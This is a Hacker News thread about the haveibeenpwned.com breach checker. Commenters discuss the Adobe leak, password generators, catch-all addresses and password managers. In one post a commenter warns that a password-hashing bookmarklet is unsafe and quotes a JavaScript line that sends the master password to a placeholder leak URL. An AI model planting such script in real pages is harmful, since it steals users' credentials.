Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Have I been pwned? Check if your email has been compromised in a data breach

haveibeenpwned.com

Post reply on HN
Print view View original

271–280 of 294 posts

Re: Have I been pwned? Check if your email has been compromised in a data breach

#271

Post by prof_hobart »

aaronblohowiak wrote: post #24
wfunction wrote: post #20

Who's to say these guys aren't stealing our emails?

your email is not a secret.

Secret, probably not. But in most cases I'm reasonably confident that each email address I use is currently only known by me, the one site I registered it with and the NSA.

I have a couple of email addresses that thanks to that address either having been sold, hacked or given away by including in the to/cc field of a mass mailing are now out in the public domain, and I get spam (and almost certainly malware attempts) on those two on a pretty regular basis. I'd prefer to not have the rest of my email addresses end up in the same situation.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#272

Post by ElongatedTowel »

acheron wrote: post #16
oal wrote: post #5

LastPass has a similar service for some of the recent (and not so recent) hacks: * https://lastpass.com/adobe/ * https://lastpass.com/linkedin/ * https://lastpass.com/lastfm/ * https://lastpass.com/eharmony/

Thanks for that; I had ignored the Adobe leak, because why would I have created an Adobe account? Turns out I did at some point, so I guess I'm the goat there.

I entered my address out of curiosity and it told me I had an Adobe account. I can't remember ever creating one so I tried the password reset process. Adobe tells me there doesn't exist an account under that address.

How is this possible? How did Adobe leak my address if I don't even have an account?

Re: Have I been pwned? Check if your email has been compromised in a data breach

#274

Post by relet »

Am I the only one who is reminded of the "Has your credit card number been stolen? Check here!" phishing ads?

Isn't there a better way to check for stolen addresses than to enter your email on a dodgy (hey, I followed a link on Hacker News) website? Such as calculating a hash on the client, and sending the hash for verification?

Re: Have I been pwned? Check if your email has been compromised in a data breach

#275

Post by andrewaylett »

thrill wrote: post #218
walden42 wrote: post #195

Earlier quoted context omitted.

Yahoo here. How the hell did the hackers get the passwords in plain text? Were they seriously unencrypted?

They were encrypted, but with no variation between the hashes for per email. https://lastpass.com/adobe/ will show you the password hints associated with the (in my case) 200 people with the same (hashed) password. The clues would be sufficient to guess the password. I've gone to generating a unique password with a simple random number generator if the end site supports password recovery (in case Chrome's password me…

I much prefer using the program `pwgen`. It's installed on all my Linux boxes and it's available from Cygwin too, and it generates a 'pronounceable' password, which makes it a lot easier to remember and also much easier to copy.

There's also the benefit of fewer moving parts -- with a pipeline like that, I'd be worried about accidentally stripping out some of the randomness. I'm fairly confident that a simple invocation of `pwgen` will work.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#276

Post by octo_t »

walden42 wrote: post #194
cleaver wrote: post #184

Earlier quoted context omitted.

The key motivation is not security, but if any account starts receiving spam, I will have a good idea where it is coming from. It also lets me shut off mail from any source. Some services will use that as the username, others allow me to pick my own. Using a password manager helps this whole scheme. Now that I do that, I could go to random email addresses and usernames.

The only problem I've found with this method is the spammers that try to guess your email, so they end up sending emails to "admin@domain.com", "webmaster@domain.com", etc. The catch-all forwards them all to me. The only way around this, I think, is to only have uncommon emails, like instead of admin@domain.com, use contactadmin@domain.com. Put a block on the common ones and you're good to go.

regrettably this is against RFC 2142[1], which states that you need to leave certain mailboxes open (such as abuse@domain, webmaster@domain etc)

[1] - http://www.ietf.org/rfc/rfc2142.txt

Re: Have I been pwned? Check if your email has been compromised in a data breach

#277

Post by thrillgore »

I got an email from LastPass about being caught up in the Adobe breach and it took me one evening, two cups of coffee, and a lot of patience to switch all my passwords to auto-generated strings and enable 2-factor where I could.

Only now in this fleeting moment do I realize that i'm now tied to LastPass's ecosystem.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#278

Post by reconbot »

A1kmm wrote: post #265
jdmichal wrote: post #174

Earlier quoted context omitted.

There is also http://supergenpass.com , which uses a JavaScript bookmarklet to do the hashing.

That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet: document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = " http://example.org/leak/" + $("#gp2_master").val()})})

You can use an enigmapass or a few of the other browser extensions to avoid this. Also there are iphone and android apps.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#279

Post by [deleted] »

relet wrote: post #274

Am I the only one who is reminded of the "Has your credit card number been stolen? Check here!" phishing ads? Isn't there a better way to check for stolen addresses than to enter your email on a dodgy (hey, I followed a link on Hacker News) website? Such as calculating a hash on the client, and sending the hash for verification?

[deleted]
Post reply on HN